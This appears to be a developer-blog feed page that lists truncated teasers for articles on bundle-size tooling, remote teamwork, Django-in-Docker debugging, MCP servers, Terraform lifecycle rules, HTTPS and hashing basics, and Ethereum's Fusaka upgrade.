    Let’s be honest: we all care about bundle size. Or at least, we should. For years, bundlesize was the go-to tool for this. It was the venerated guardian of our build pipelines, ensuring we didn't accidentally ship a 5MB lodash import to production. Sadly, it has become outdated and unmaintained. I'd hoped for it to be updated, but as security checks began to scream at me for its transitive dependencies exposing all manner of issues, a replacement had to be found. As one didn't simply materialize in the ecosystem, I decided I had to build one myself. Hence, Overweight 🧳⚖️. It’s a lightweight, modern replacement for bundlesize that helps you keep your file sizes in check. It supports Gzip and Brotli compression out of the box and integrates seamlessly with your CI. The concept is simple: y…  ( 7 min )
    Task Sequence for Software Development: How To Keep Remote Teams in Sync
    Remote software teams are now the norm, offering global talent but also plenty of challenges such as scattered time zones, miscommunication, missed dependencies, and delayed handoffs. Without a clear plan, even strong teams can feel like they are running in circles. This article will show how a well-defined task sequence brings structure, clarity, and smoother collaboration to remote development teams. You will discover the importance of task sequences, common patterns, and practical steps to implement them, along with tips and tools to keep your team aligned and working in sync. A task sequence is more than a list of things to do. It is an ordered set of development tasks showing dependencies, triggers, and outcomes. In software projects, tasks can include coding, code reviews, testing, d…  ( 12 min )
    The AI Tools Nobody Builds (But Every Developer Secretly Needs)
    Everyday I see a shiny new AI tool for coding: AI that writes code AI that explains code AI that reviews code AI that documents code AI that fixes bugs you didn’t even know you had Amazing. Useful. Love that for everyone. But being around developers all the time, I’ve realized something: The most exhausting parts of a developer’s job have nothing to do with writing code. We’re drowning in tools that help you code… Here are the AI tools devs actually need: 🔥 1. AI that explains a PR like a normal human Not “diff stats.” But: What changed Why it changed What broke What’s risky Who touched this last Why the code looks haunted Basically a PR therapist. 🔥 2. AI that reads Slack and gives you the real summary Because let’s be honest: 70% of Slack is noise 20% is memes 9% is confusion 1% is the thing you actually needed to know Where is the AI that says: “Here’s the ONLY thing that mattered from yesterday. You’re welcome.” 🔥 3. AI that remembers WHY someone wrote cursed code Dev: “Who wrote this?” We need an AI that reconstructs the crime scene: the context the deadline panic the hacky patch the temporary solution that became permanent the Jira ticket titled “quick fix don’t judge” This would save lives. 🔥 4. AI that tells you which meetings are safe to ignore Let’s be real: Some meetings matter. Some meetings shouldn’t exist. Some meetings actively reduce lifespan. I want AI that whispers: “Skip this one. It’s just three people arguing about naming conventions.” 🔥 5. AI for the glue work devs secretly hate The real energy traps: clarifying requirements translating vague messages remembering decisions tracking discussions chasing answers updating docs keeping everyone aligned context-switching 47 times a day This is the work no AI tool touches… AI for glue work will be bigger than AI for code. 💬 Your turn I want to know from actual devs: What’s ONE AI tool you wish existed — not for coding, but for your sanity? The funnier and more petty your answer, the better. I’m ready 😂👇  ( 7 min )
    Optimization Using R: Concepts, Origins, Applications, and Case Studies
    Optimization is at the heart of every decision-making process. Whether it is a business allocating limited resources, a logistics company optimizing route planning, or a financial institution balancing risk and return, optimization helps identify the most efficient solution among several alternatives. In R, optimization techniques are widely used due to the language’s rich mathematical and statistical capabilities, as well as its extensive package ecosystem. This article explores the origins of optimization, its real-world applications, and detailed case studies, followed by step-by-step demonstrations of how to execute optimization tasks in R. Origins of Optimization By the early 20th century, optimization gained prominence through operations research, especially during World War II when …  ( 9 min )
    Who should decide UI?
    What do you do as a product manager when your design team push for a clean, modern interface, while developers argue for the old, familiar UI? tldr; You should always go with the solution of the designers because they are designing for users not programmers. Programmers are not the audience. Developers spend their life inside complex tools, terminals, logs, IDEs — clutter doesn’t bother them because they’re trained to survive it. But users are not developers. Normal people don’t want interfaces that look like a cockpit from the 1990s. Designers are literally trained to solve this problem. A designer’s whole job is: visual hierarchy readability spacing usability clarity human factors A programmer’s job is not design. Their taste is shaped by tools built for power-users. Old, cluttered i…  ( 7 min )
    The Vibe Coding Hangover: How to Stop AI From Ruining Your Codebase
    You know the feeling. You spend three hours on a Saturday night with Claude or Cursor. You’re in the flow. You prompt, it generates, you paste. The app works. You show your non-technical friends who think you’re a genius, and you feel like you’ve unlocked a superpower. Life is good. Then, the hangover hits. You notice a bug, or you want to add a "quick" feature. Or worse, you pushed to production, and now users are starting to notice issues. Suddenly, you’re staring at thousands of lines of code you didn’t really write and, let’s be honest, don’t really understand. You beg the AI to "fix it," but since it has no memory of why it made those decisions three days ago, it just adds more spaghetti on top of the sauce. You go around in circles, stuck in an endless AI loop. This is the uncomforta…  ( 9 min )
    Zero-Downtime Rollbacks in Kubernetes with ArgoCD – A Practical GitOps Lifesaver
    Modern applications ship fast. But fast releases come with risk. This is where ArgoCD Rollbacks become a true lifesaver — giving you a one-click, zero-downtime, Git-driven rollback mechanism that restores your Kubernetes cluster to a stable version in seconds, NOT hours. In this article, you’ll learn: What ArgoCD Rollback is Why it is essential for DevOps teams Real-world scenarios where it’s used How to implement rollback in a complete project Tools involved Best practices for production The importance of rollback in a GitOps workflow Let’s dive deep. ⭐ 1.What Is ArgoCD Rollback? ArgoCD rollback means restoring Kubernetes resources to a previously working Git commit that was successfully applied earlier. ArgoCD maintains: A full deployment history A visual timeline of all sync events The …  ( 8 min )
    How to use IP2Location.io API in Anaconda Code
    Intro Anaconda Code is an Excel add-in that enables users to execute Python or R code directly within Excel. It allows you to create custom Python functions for use in Excel workbooks. In addition, its package management support makes it easy to add or remove packages, significantly extending Excel’s capabilities. With these features, tasks such as querying external APIs for data become possible right inside Excel. In this tutorial, we will guide you through using Anaconda Code to query the IP2Location.io API and display the results in your workbook. The IP2Location.io service provides a fast and accurate IP geolocation API that allows users to determine a visitor’s geographical location and apply geolocation data in various use cases. Before we begin, please ensure that Anaconda Code is…  ( 8 min )
    Why you need event-driven architecture
    Events are often used to decouple logic and keep a system modular. Events allow for a very modular architecture. Your system emits events at different points in time and this allows you to create a completely independent and pluggable module which hooks into these events without needing to make any changes to the core part of your system. For example, you might create a Notification module which listens to various events in your system and sends e-mail, text messages, push notifications and performs other actions related to notifying your users. All of this without ever needing to change any part of your existing codebase. Your module can have a single responsibility, be completely self-contained and independent. For example, POS systems often have a local law requiring them to implement the payment system as a completely separate module. Without events and hooks this becomes impossible. You look at the code and see that everything depends on everything, the payment system is intermingled with every other part of the system. You throw your arms up in the air and say, no way, this can't be done. Payments are the very core of a POS system. It runs through everything. But that is just a sign of a badly architected system. It doesn't need to be this way. Everything should not depend on everything. That's a brittle system. With an event-driven, modular architecture you simply emit events and let the payment module hook into these events and handle the logic. Think of a radio broadcast (emitting events). The broadcaster simply broadcasts into the air. Anyone who wants to and has a radio (listener) tuned to the frequency hears the message. The broadcaster doesn’t know or care who’s listening.  ( 6 min )
    Why abstractions are good
    Have you noticed how our world is built on abstractions? Abstractions are everywhere. We have abstractions in code - one library depends on another library which depends on another and so on. But it's not just code. We use abstractions every day. Every time you plug something into a wall outlet - you are using an abstraction, a huge electrical infrastructure with its own abstractions, completely invisible and hidden from you. When you drive your car, you don't operate with gears and wires, instead you turn a key, push a button, turn the steering wheel. You don't care how it works - you don't even want to know how it works. You're using abstractions to get where you need to go. Imagine a world without abstractions. Let's say you wanted to build a house. You'd need tools and materials but if…  ( 7 min )
    Taming the Container Beast: A Developer's Guide to Debugging Django in Docker
    Debugging a Django application running inside a Docker container can feel like trying to fix a car engine while it's still running—challenging, but definitely not impossible. If you've ever found yourself staring at cryptic error messages with no stack trace, or wondering why your breakpoints never trigger, you're not alone. This guide will equip you with the tools and techniques to effectively debug Dockerized Django applications. Docker containers are designed to be isolated, lightweight, and production-like. While this is great for deployment, it creates some unique challenges for debugging: Limited direct access to the running process Logs can be scattered or hard to follow Interactive debuggers require special configuration File system isolation makes it harder to inspect state Networ…  ( 15 min )
    What DRY actually means
    A lot of junior developers misunderstand DRY (Don't Repeat Yourself) as a strict rule against any code duplication. To them DRY means: never repeat a line of code never have two components share similar structure never write anything twice If something looks similar, they feel obligated to merge it, abstract it, or build a “super component” with flags and conditions. Of course, the result is always the same: Overcomplicated, brittle, unreadable code that was technically DRY — and practically unusable.. Imagine if a cookbook tried to follow the the DRY principle to the extreme. Instead of having separate recipes for different types of pizza, it would try to create one giant single pizza recipe that covers every possible variation - one "single universal pizza recipe". “Use tomato sauce unle…  ( 7 min )
    The Best Workflow for Collaborating on a Shared GitHub Repository
    When working on a shared GitHub repository, your workflow can either make collaboration smoothor create endless conflicts, broken code, and frustration. Many developers struggle with one common question: “Should I pull changes before starting new work, or should I code first and pull later?” The truth is: The most efficient and professional workflow always begins with pulling the latest changes before you start. This article breaks down the ideal Git workflow used by teams in top engineering organizations. 1. Always Start by Pulling the Latest Changes Before you write a single line of code, ensure your local environment is up to date. Pulling first guarantees: You’re working with the latest version of the project You avoid rewriting features that someone already updated You minimize merg…  ( 8 min )
    Building an MCP Server on Cloudflare Workers with Semantic Search
    Most MCP (Model Context Protocol) tutorials show you how to build local servers that connect to Claude Desktop via stdio. That's great for development, but what if you want your MCP server accessible from anywhere? What if you want it running on the edge with sub-50ms latency globally? I built an MCP server on Cloudflare Workers that provides semantic search using Vectorize and Workers AI. Along the way, I discovered the MCP SDK wasn't designed for serverless environments - so I had to adapt it. In this article, I'll show you: Why MCP on Workers is powerful (and tricky) Three different MCP architectures I built How to adapt the stdio-based SDK for HTTP A working semantic search implementation with Vectorize When to use each architecture By the end, you'll have the knowledge to deploy produ…  ( 13 min )
    LLM, Dreamcast, Seaman - What the 1999 Classic Teaches Modern AI
    Sega’s Dreamcast was known for pushing boundaries and innovation. Among its most ambitious experiments was Seaman, a virtual pet / life-simulation that combined evolution, real-time care, and voice interaction. Long before ChatGPT and LLM-powered agents existed, Seaman gave us something similar in spirit: a creature that listened, remembered, responded, and evolved based on your interaction. The game used a microphone accessory plugged into the Dreamcast controller to let players speak to Seaman. The underlying voice-recognition engine was limited and supported only a vocabulary of around 100 words or short phrases. Rather than full natural-language parsing, Seaman used a navigation-style conversation model: the game anticipated likely user inputs from a predefined set of options, and ma…  ( 8 min )
    🌀 Why Flutter Localization Is Still a Pain (Even With easy_localization) — and How I Finally Fixed It
    Localization in Flutter sounds simple on paper: “Just use ARB files, run the generator, and you’re done.” Right? Right… until your app grows to hundreds of keys, multiple languages, different plural forms, nested folders, and a team of devs all touching the same translations. I’ve been there. Localization is one of the most annoying parts of Flutter development. Even with tools like easy_localization helping us generate code and structure files, there are still several pain points that never went away for me. So I built a tool to fix them — but let me start with the problems first. JSON files are fine when you have: title: “Hello” button_ok: “OK” button_cancel: “Cancel” But with real apps, things turn into this: settings.notifications.push_title settings.notifications.push_body profile.fo…  ( 12 min )
    Chasing the NVIDIA Ghost: A Linux Desktop GPU Odyssey
    Sometimes, fixing a GPU on Linux feels less like tech work and more like a mystical quest. That was exactly my journey with an NVIDIA GTX 1050 on Ubuntu 24.04 LTS. Xorg kept crashing. Logs screamed about missing modules. The system would randomly freeze, then reboot. Despite having NVIDIA 535 installed earlier, only one monitor worked under the fallback modesetting driver. Nouveau was blacklisted, yet the GPU refused to fully awaken. Purged all nvidia-* drivers, blacklists removed. Verified that nouveau was not loaded. Kernel headers were up to date. Success? ✅ Partial. The system booted with modesetting, but Xorg was still using VESA, single monitor only, GPU idle. Installed NVIDIA 535 via apt, purged, reinstalled, repeat. Every time, nvidia-smi reported the driver version, kernel modules…  ( 7 min )
    How I Escaped the Commit-Hook Loop in My Django Project
    As developers, we all want clean, consistent code. Tools like pre-commit make this possible by automatically running linters, formatters, and other checks before a commit. However, if you’ve used them in a real project, you’ve probably encountered the dreaded commit-hook loop. I recently faced this issue while working on a Django project. Let me walk you through the problem and how I fixed it. I’m building a Django project with a typical Python stack: Django 5.x Python 3.12 Black for formatting Flake8 for linting isort for import sorting pre-commit for managing all hooks The goal is simple: enforce code quality automatically on every commit. Here’s the workflow I was using: git add . git commit -m "Some message" At this point, pre-commit hooks run automatically. If a hook fails (say Black …  ( 7 min )
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    Have you ever wondered what the little padlock 🔒 next to a website’s address actually means? Or why some URLs start with https:// instead of http://? Let’s break it down—no jargon, just clarity. The Problem with Plain HTTP HTTP (Hypertext Transfer Protocol) is the original way browsers talk to websites. But here’s the catch: it’s like sending a postcard through the mail. Anyone handling that postcard—your internet provider, a hacker on the same Wi-Fi, or even someone snooping on network traffic—can read everything on it. If you log in or enter your credit card on an http:// site? That data travels as plain text. Yikes. 💡 Think: Would you write your password on a postcard and drop it in a public mailbox? Probably not. Enter HTTPS: Your Digital Envelope HTTPS (HTTP Secure) fixes this by ad…  ( 7 min )
    Explicit is Better Than Implicit: Mastering Pytest Fixtures and Async Testing
    Look, we need to talk about async testing in Python. If you've ever stared at a ModuleNotFoundError: No module named 'trio' when you're just trying to test your FastAPI endpoints, you know the pain. You didn't ask for trio. You don't even know what trio is. You just want your tests to pass. Let's fix this properly. Here's the thing about async Python: your async/await code needs an event loop to run. That's not optional. And there are multiple event loop implementations out there: asyncio - Python's built-in standard library solution trio - Third-party library with structured concurrency curio - Another third-party option (less common these days) When you're testing async code with pytest, you need something to manage these event loops. Enter pytest-anyio - a plugin that's supposed to make…  ( 10 min )
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    Optimize Like a Pro: Advanced JavaScript Memory Techniques for Large-Scale Projects
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    Fiber in React
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    Football pitch reservation app built with Next.js, Shadcn UI, Prisma, and Better Auth
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    Pixelize Open Source Nextjs Template for Portfolio
    Pixelize Portfolio Nextjs Template is a modern one-pager template designed for creative professionals, developers, and designers who want to showcase their work online. Built using Nextjs and Tailwind CSS, it offers a fast, SEO-friendly, and fully responsive experience. Whether you’re launching your personal portfolio or promoting your freelance services, this Free Landingpage Template delivers smooth scrolling, clean design, and effortless customization to help you stand out from the crowd. Key Features ⚡ Built with Next.js & Tailwind CSS – Ensures blazing-fast performance and easy customization. 🎨 Clean & Minimal Design – Highlights your content beautifully without distractions. 📱 Fully Responsive Layout – Looks perfect on desktops, tablets, and smartphones. 🧩 One Pager Structure – Ideal for personal portfolios, agencies, or resumes. 🔍 SEO Optimized – Helps your portfolio get discovered easily on search engines. 🌈 Modern Animations – Adds a touch of interactivity and visual appeal. Why Choose Pixelize Portfolio Nextjs Template? 💡 Creative Presentation Perfect for showcasing design projects, case studies, or personal achievements in a visually stunning layout. 🚀 High Performance Powered by Next.js for lightning-fast load times and optimized code delivery. 🧠 Easy Customization Tailwind CSS utility classes make it simple to change colors, fonts, and layout within minutes. 🌐 Free & Developer Friendly As a Free Landingpage Template, it’s ideal for developers who want a ready-to-use, scalable portfolio base. 📄 SEO Ready Structure Built with semantic HTML and optimized metadata for better Google ranking and visibility. Conclusion The Pixelize Portfolio Nextjs Template is the perfect choice for anyone looking to build a professional one-pager website without starting from scratch. Combining performance, simplicity, and a modern interface, this Nextjs Template helps you create a strong online presence with minimal effort. 👉 Live Preview | Download now  ( 7 min )
    DevFest Vienna 2025: How Blind People Navigate the World, On and Offline
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    What capabilities should a good operation and maintenance (O&M) system possess?
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    DoodleMates: Building a Multimodal Creature Generator
    This post is my submission for DEV Education Track: Build Apps with Google AI Studio. The core functionality relies on a single multimodal API call. The key prompt I crafted was designed to leverage both image and text inputs: "Analyze the image’s aesthetic and colors, then generate a detailed 3D doodle-style creature sticker that reflects '[User’s Personality Notes]' and matches the image’s style." I utilized the Studio's multimodal capabilities and the Prompt Engineering interface to rapidly iterate on the visual style and consistency. Here is a quick look at the user experience, from input to output: Input: The user shares a photo and simple text notes. Output: The generated, custom DoodleMate. Working through the Google AI Studio track offered several key takeaways and surprises: 💡 What I Learned Prompt as Code: The process truly felt like "prompt engineering." Tweaking words like "3D sticker," "whimsical," or "charming" acted like visual parameters, allowing me to refine the product's aesthetic without touching any traditional code. 🤯 What Was Surprising If you're looking for a quick, creative project, using Google AI Studio for multimodal tasks is the perfect way to turn pixels into personality!  ( 7 min )
    Building a Custom MCP Server: A Python Calculator (Step-by-Step
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    File Upload Security Issues
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    Summary of the error "Cannot find module 'function qt(e={})...'" that occurs when using Tailwind CSS v4 + Vite
    Introduction When installing Tailwind CSS v4 in a React + Vite environment, Cannot find module 'function qt(e={}){...}' Require stack: - postcss.config.js This article summarizes how to fix this error. The Tailwind v3 configuration is being used for Tailwind v4. Doesn't work with Tailwind v4. export default { plugins: { tailwindcss: {}, autoprefixer: {}, }, }; Create (or modify) src/index.css. @tailwind base; @tailwind components; @tailwind utilities; Change postcss.config.js to the v4-specific syntax: import tailwindcss from "@tailwindcss/postcss"; export default { plugins: [ tailwindcss(), ], }; Tailwind styles are back, and the layout is back to normal.  ( 6 min )
    Blazor in .NET 10: The Features That Actually Matter
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    Understanding GEO — And How It’s Different From SEO
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    30 HTML Form Attributes You’re Not Using (But Should)
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    The Context-Switching Problem: Why I Built a Tracker That Lives in My Terminal.
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    My Journey Creating Qeltrix: A 17-Year-Old's Approach to Cryptographic Innovation
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    A Deep Cybersecurity View of Hashing, Encryption, and Encoding
    When I started learning cybersecurity, I understood the basic idea of hashing and encryption. But later I saw that the real world uses many extra pieces like TLS, RSA, HMAC, PBKDF2, Argon2, cipher suites, trust chain, PKI, and more. These are all connected. In this article I try to explain how hashing, encryption, and encoding work in real cybersecurity systems. ✅ 1. Encoding: Format Change Only Encoding only changes data format. It does not give security. Examples: Base64 URL encoding ASCII UTF-8 Encoding is used for transport or compatibility, not protection. ✅ 2. Hashing: One Way Protection Hashing creates a fixed-size output called a message digest. Important hashing terms Message digest – the result of a hash function Collision – two different inputs produce the same hash Collision re…  ( 9 min )
    The Importance Of Web Application Performance
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    The Future of Data Engineering: Automation, AI, and Code-Free Solutions
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    Transforming Visitors into Loyal Leads: Mastering Elementor's Form Widget for WordPress
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    Integrate Voice AI with Salesforce for Lead Qualification
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    Unlock Engagement: Master the Elementor Form Widget for WordPress Lead Generation
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    AWS and Google Unveil Joint Multi-Cloud Network Solution for the Modern Enterprise
    AWS and Google have announced a collaborative multi-cloud network solution, marking one of the industry’s most unexpected yet impactful partnerships. The solution aims to solve the growing complexity enterprises face as they deploy workloads across different cloud platforms. It enables consistent performance, shared security policies, and automated connectivity between AWS and Google Cloud environments. This move is trending as organizations increasingly lean toward multi-cloud for flexibility, redundancy, and cost efficiency. Background & Context Key Facts / What Happened multi-cloud network solution provides interoperable routing between AWS and Google Cloud, allowing workloads to communicate without manual configuration overhead. It includes integrated security segmentation, shared traf…  ( 7 min )
    Challenges in Developing Robust React Application
    React is a great tool for making user interfaces because it is modular, can be used again and again, and renders quickly with the virtual DOM. But there are unique difficulties to be aware of when dealing with React. Complex issues such as scalability, productivity tuning, and state management require a combination of technical knowledge and analytical thinking on the part of developers. Here we'll take a look at the most common challenges encountered by React developers and provide some practical solutions on how to fix them. Managing different kinds of data and state is a common requirement for React applications. Efficiently managing state across components can become more challenging as your application grows. Sharing and syncing state across numerous components can cause confusion and…  ( 13 min )
    NetSpeak - Back to vibin'
    For the Kiroween Hackathon 2025, our mission was simple: blend the ultra-minimalist, nostalgic aesthetic of the late '90s web with a powerful, real-time network engine. The result is NetSpeak, a fully functional, ugly-chic chat application. It might look like it runs on a 56k modem, but under the hood, it's blazing fast. The Stack: Old Look, New Muscle We kept the frontend deliberately bare-bones (vanilla HTML, CSS, JS) to nail that retro vibe. However, the communication layer is all modern efficiency: Backend: Node.js / Express.js Real-time: Socket.IO Aesthetic: Pure, unadulterated, intentionally bad CSS. The contrast is the core feature: incredibly low-latency performance hidden behind a deliberate commitment to nostalgia. The Secret Weapon: Kiro AI Frankly, we couldn't have finished NetSpeak in time without Kiro, our AI-powered IDE. Kiro's lightweight design and streamlined UI/UX were game-changers. The AI Autopilot feature was particularly invaluable. It took over the scaffolding of our Express server and the complex setup of our real-time Socket.IO connections. By continuously catching and correcting small syntax and logic errors, Kiro allowed us to focus purely on the core concept and design implementation, dramatically accelerating our development cycle. Conclusion NetSpeak is a testament to what's possible when you couple a minimalist vision with maximum-power AI tooling. It was a blast to build, and we're proud of the hauntingly efficient performance we achieved. Developed for the Kiroween Hackathon 2025.  ( 6 min )
    Your 2025 Marketing Budget Probably Lied to You: A Q1 2026 Audit Framework
    Look, we all started 2025 with a beautiful spreadsheet. Color-coded tabs. Projected ROI that would make a CFO weep with joy. Maybe you even had a deck with those gradient charts that look impressive in meetings. And then reality happened. Here's the thing about marketing budgets: they're aspirational documents masquerading as financial planning. By December, that meticulously planned allocation looks about as accurate as a weather forecast from six months ago. The paid social budget got blown in Q2 when CPMs spiked. The content strategy pivoted three times. And that experimental budget for "emerging platforms"? Yeah, nobody can quite remember what that money actually bought. But December is when we get honest. Not because we're suddenly virtuous, but because Q1 2026 budget decisions are ha…  ( 13 min )
    How I Built a Multi-Platform AI Chatbot with n8n and LangBot
    Connecting n8n's visual workflow automation with LangBot's multi-platform bot framework creates a powerful, code-free way to deploy AI chatbots across QQ, WeChat, Discord, Telegram, Slack, and more. This tutorial shows you how to integrate these tools in minutes. Python 3.8+ installed Node.js 18+ installed npm or npx available 15 minutes of your time LangBot is a production-ready bot framework that connects to multiple messaging platforms and AI services including Dify, FastGPT, Coze, OpenAI, Claude, and Gemini. Deploy it instantly: cd your-workspace mkdir -p langbot-instance && cd langbot-instance uvx langbot@latest On first launch, LangBot initializes automatically. Open http://127.0.0.1:5300 in your browser. Register your admin account when prompted. You'll land on the dashboard where…  ( 8 min )
    ML Observability & Monitoring — The Missing Layer in ML Systems (Part 7)
    🔎 ML Observability & Monitoring — The Missing Layer in ML Systems Part 7 of The Hidden Failure Point of ML Models Series Most ML systems fail silently. Not because models are bad… Not because algorithms are wrong… But because nobody is watching what the model is actually doing in production. Observability is the most important layer of ML engineering — yet also the most neglected. This is the part that determines whether your model will survive, decay, or collapse in the real world. Traditional software monitoring checks: CPU Memory Requests Errors Latency This works for software. But ML models are different. They fail in ways standard monitoring can’t detect. three extra layers: Data monitoring Prediction monitoring Model performance monitoring Without these, failure…  ( 9 min )
    Welcome Thread - v354
    Leave a comment below to introduce yourself! You can talk about what brought you here, what you're learning, or just a fun fact about Reply to someone's comment, either with a question or just a hello. 👋 Come back next week to greet our new members so you can one day earn our Warm Welcome Badge!  ( 6 min )
    Don't Learn Prompt Engineering. Here's What Matters More
    I originally posted this post on my blog. I'm not an AI evangelist, and I'm not a hater either. I've tried AI for coding. And after a week or two, I noticed how dependent I was becoming. Since then, I've used AI for small coding tasks, like generating small functions or finding typos, not to treat English as my main programming language. Marcus Hutchins, a security researches, puts it boldly in his post Every Reason Why I Hate AI and You Should Too: I'd make a strong argument that what you shouldn't be doing is "learning" to do everything with AI. What you should be doing is learning regular skills. Being a domain expert prompting an LLM badly is going to give you infinitely better results than a layperson with a "World’s Best Prompt Engineer" mug. I agree with the core message. When everybody is relying on AI, it's time to go back to old-school habits: Read code Write trustworthy tests Devour classic textbooks Troubleshoot bugs with pen and paper And outside coding: read books on paper, take notes by hand, and write our own summaries. To develop taste and judgment. Using AI is like holding a calculator on a math exam. Even the best calculator is useless if you don't know what to compute. Build skills, then leverage AI. I used to think coding was only about cracking symbols. That's where AI shines. But coding is also about talking to non-tech managers, negotiating deadlines, and saying no politely. And that's why I wrote, Street-Smart Coding: 30 Ways to Get Better at Coding, to share the skills I wish I'd learned to become a confident coder. Get your copy of Street-Smart Coding here. It's the roadmap I wish I had when I was starting out.  ( 7 min )
    Why AI Won't Take our Coding Job: A Future Where Engineers and AI Thrive Together!
    AI is transforming software engineering faster than ever, but instead of replacing human developers, it’s becoming a powerful partner. Together, humans and AI are shaping a future where development teams are more productive, creative, and impactful. The future of coding isn’t about competition—it’s about collaboration. AI tools are great at handling repetitive tasks like generating code, running tests, and spotting bugs. This frees developers to focus on the parts of the job that machines can’t handle: creative problem-solving, strategic thinking, and designing solutions that really fit business needs. Humans bring something AI can’t replicate—contextual understanding, ethical judgment, and the spark of innovation. While AI can crunch data and suggest improvements, it’s the human developer…  ( 7 min )
    Building a Horror Game in 8 Hours with Kiro AI - My Kiroween Hackathon Journey
    Building a Horror Game in 8 Hours with Kiro AI For the Kiroween 2025 hackathon, I built Layers of Static - a psychological horror experience disguised as a vintage 1970s CRT television. The twist? An AI lives inside it, asking disturbing questions and giving creepy dares. The real story isn't what I built. It's how I built it. The hackathon's "Frankenstein" category challenged us to stitch together incompatible technologies into something unexpectedly powerful. My chimera: 1970s CRT aesthetics (scanlines, phosphor glow, chromatic aberration) Modern AI (Google Gemini for conversation) Voice synthesis (ElevenLabs TTS with a little girl's voice) Web Audio API (music box loops, audio ducking, sound effects) Normally, this would take weeks. With Kiro, I shipped in 8 hours. Kiro is an AI-power…  ( 9 min )
    A-Modular-Kingdom - The Infrastructure Layer AI Agents Deserve
    title: "A-Modular-Kingdom - The Infrastructure Layer AI Agents Deserve" https://masihmoafi.com/blog/a-modular-kingdom A-Modular-Kingdom The infrastructure layer AI agents deserve Every AI agent I built had the same problem: I kept rebuilding the same infrastructure from scratch. RAG system? Build it again. Long-term memory? Implement it again. Web search, code execution, vision? Wire them up again. After the third project, I stopped. I extracted everything into a single, production-ready foundation that any agent can plug into via the Model Context Protocol (MCP). A-Modular-Kingdom is that foundation. Start the MCP server: python src/agent/host.py Now any AI agent—Claude Desktop, Gemini, custom chatbots—instantly gets: Document retrieval (RAG) with Qdrant + BM25 + CrossEncode…  ( 8 min )
    Linux Server Administration – Complete Notes (CIITM Dhanbad)
    🟦 UNIT – I : Linux Introduction, File System & Basic Commands ⭐ 1. Introduction to Linux Linux is a free, open-source, secure and stable operating system. Based on UNIX, widely used in: Servers Cloud systems Networking Cybersecurity Development Known for: High security Fast performance Virus resistance Multiuser environment 2. Basic Features of Linux Multiuser & multitasking Portable & open-source Strong networking support Highly customizable Powerful shell & scripting 3. Flavors (Distributions) of Linux Common Linux distros: Ubuntu Debian RedHat (RHEL) Fedora CentOS Kali Linux Linux Mint 4. Advantages of Linux Free & open source Highly stable Virus free Powerful command line Supports programming & servers Community support 5. How Linux Accesses Files Linux uses…  ( 9 min )
    The Model Context Protocol (MCP): A Comprehensive Technical Report
    Executive Summary The rapid integration of Large Language Models (LLMs) into production software has exposed a critical interoperability bottleneck. As developers attempt to bridge the gap between reasoning engines (like Claude 3.5 Sonnet, GPT-4o) and proprietary data sources (PostgreSQL, Slack, GitHub), the industry faces an "N×M" integration problem. Every new model requires unique connectors for every data source, resulting in fragmented, brittle ecosystems. The Model Context Protocol (MCP), introduced by Anthropic in late 2024, emerges as the "USB-C for AI," establishing a standardized, open-source specification that decouples intelligence from data. This report serves as an exhaustive technical resource designed to enable a development team to implement, deploy, and disseminate MCP …  ( 15 min )
    Advent of Cyber 2025: Day 2 Writeup | TryHackMe
    Today is about Phishing🦈. Day 2 Room Link. Attackbox and Targetbox. TryHackMe lets us spin up a GUI Attackbox for 1 hour each day; Targetbox dont have a such limit. Or, I can use my own laptop as the Attackbox; Or I can use a linux VM in Virtualbox and use that as my Attackbox For option 2,3 we have to be in the same network as the Targetbox, hence install Openvpn and download+import TryHackMe's networking configuration file(.ovpn). TryHackMe has a practice room for a step-by-step guideline. But for today's tasks it's better to use their Attackbox; a server.py file is made for us to use. In fact the Attackbox usually comes equipped with lots of tools that we may need to solve a room... unless you already have a 5TB fully loaded kali linux VM in your machine to h@ck planet Mars. In task …  ( 7 min )
    🗄️ Build an MCP Server for PostgreSQL: Query Your Database with Claude & Any AI ClientHappy building
    Introduction The Model Context Protocol (MCP) is transforming how AI applications interact with data sources. While weather servers and basic examples are great starting points, most real-world applications need database access. In this guide, we'll build a production-ready MCP Server for PostgreSQL that allows Claude, VSCode, and any MCP client to query your database safely and efficiently. By the end, you'll have: A fully functional PostgreSQL MCP Server Examples for SELECT queries, aggregations, and data retrieval A public repository you can deploy to production Integration with Claude Desktop and other MCP clients Imagine asking Claude: "What are our top 10 customers by revenue this quarter?" Or: "Show me all incidents from the past 7 days with critical severity." With a PostgreSQL M…  ( 9 min )
    Day-09: Lifecycle management rules in terraform
    Lifecycle rules: improve security Better maintenance of resources control over the resources There are 6 rules to manage the lifecycle ignore_changes prevent_destroy replace_triggered_by create_before_destroy precondition postcondition 1. Create before destroy: This reduces the downtime while making changes (Zero-downtime deployment) example: // main.tf // Create before destroy to avoid downtime resource "aws_instance" "instance" { ami = "ami-0f64121fa59598bf7" instance_type = "t3.micro" region = tolist(var.allowed_region)[0] tags = var.tags lifecycle { create_before_destroy = true } } 2. Prevent destroy: // main.tf // prevent destroy to avoid accidental deletion resource "aws_s3_bucket" "bucket" { bucket = "${var.username}-bucket-${var.environment}-d…  ( 7 min )
    Amazon Category Traversal: Achieving 95%+ Coverage of Front-end Visible Products
    The Real Challenge in E-commerce Data Collection When building an AI-powered product selection model, you quickly face a frustrating reality: data services claiming "comprehensive coverage" often capture less than 40% of front-end visible products. This isn't a data quality issue—it's a technical ceiling. Over the years of building e-commerce data collection systems, I've encountered countless challenges and finally developed a solution that consistently achieves 95%+ coverage of front-end visible products. Today, I'm sharing this complete technical approach with you. Before diving into the technical solution, we need to clarify a critical question: What exactly does "coverage rate" mean? Amazon's category database may store millions of ASINs, but these products exist in vastly different…  ( 10 min )
    Ethereum’s Fusaka Upgrade: The Most Ambitious Step Since The Merge (Live on Mainnet – Dec 3, 2025)
    Introduction: Ethereum’s Most Ambitious Step Since the Merge Today marks one of the most significant milestones in Ethereum’s technical history the Fusaka upgrade is now live on mainnet. Activated on December 3, 2025, Fusaka fuses together the Osaka execution layer update and the Fulu consensus layer update, forming what the community collectively calls “Fusaka.” This isn’t just another hard fork — Fusaka represents a full-stack architectural evolution. It redefines Ethereum’s data availability layer, economic structure, and execution performance, laying the foundation for rollup scalability without compromising decentralization. At the heart of this upgrade lies PeerDAS (Peer-to-Peer Data Availability Sampling) — a system that allows nodes to verify data without downloading it all. Alon…  ( 9 min )
    Turn Your Labor into Yacht Cost Savings
